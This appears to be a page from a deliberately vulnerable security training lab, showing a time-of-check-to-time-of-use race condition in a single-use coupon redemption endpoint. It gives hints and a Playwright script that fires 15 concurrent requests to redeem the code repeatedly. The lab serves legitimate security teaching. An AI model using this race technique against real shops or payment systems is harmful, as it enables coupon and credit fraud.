Apache/2.4.49 (Unix) PHP/7.4.3 OpenSSL/1.1.1k  |  Server: HackTarget-Lab/1.0  |  X-Powered-By: PHP/7.4.3

Race Condition Lab

⚠ FOR SECURITY TESTING PURPOSES ONLY — DO NOT DEPLOY IN PRODUCTION
~/hacktarget/race condition

Race Condition

TOCTOU Race Condition
[HIGH]

The coupon redemption endpoint checks if a code is used, then marks it used — two separate operations with no locking. Fire concurrent requests to redeem the same code multiple times before any request completes the mark-used step.

> Show hints
  • [1] Single request: code is marked used after first redemption
  • [2] Concurrent requests: all arrive before any marks it used — TOCTOU window
  • [3] Playwright: use Promise.all with page.evaluate to fire parallel fetch() calls in the same session
  • [4] The server has no mutex, no DB transaction, no atomic check-and-set

[1] Available Codes

SAVE50 — 50% discount coupon (single-use)
FREESHIP — Free shipping (single-use)
VIP100 — $100 credit (single-use)

[2] Single Redemption

Normal flow — first request succeeds, subsequent requests are rejected.

[3] Race Attack — Concurrent Requests

Fire N requests simultaneously via Promise.all. Multiple requests land in the TOCTOU window before any marks the code used.

Concurrent requests:

[4] Playwright Race Script

// Reset first
await page.request.post('/api/vuln/redeem/reset');

// Fire 15 concurrent redemptions from the same browser session
const results = await page.evaluate(async () => {
  const reqs = Array.from({ length: 15 }, () =>
    fetch('/api/vuln/redeem', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ code: 'SAVE50' }),
    }).then(r => r.json())
  );
  return Promise.all(reqs);
});

const wins = results.filter(r => r.success).length;
console.log('Redeemed ' + wins + ' times'); // > 1 = race won
HackTarget // Security Lab Environment© 2026 — For authorized security testing only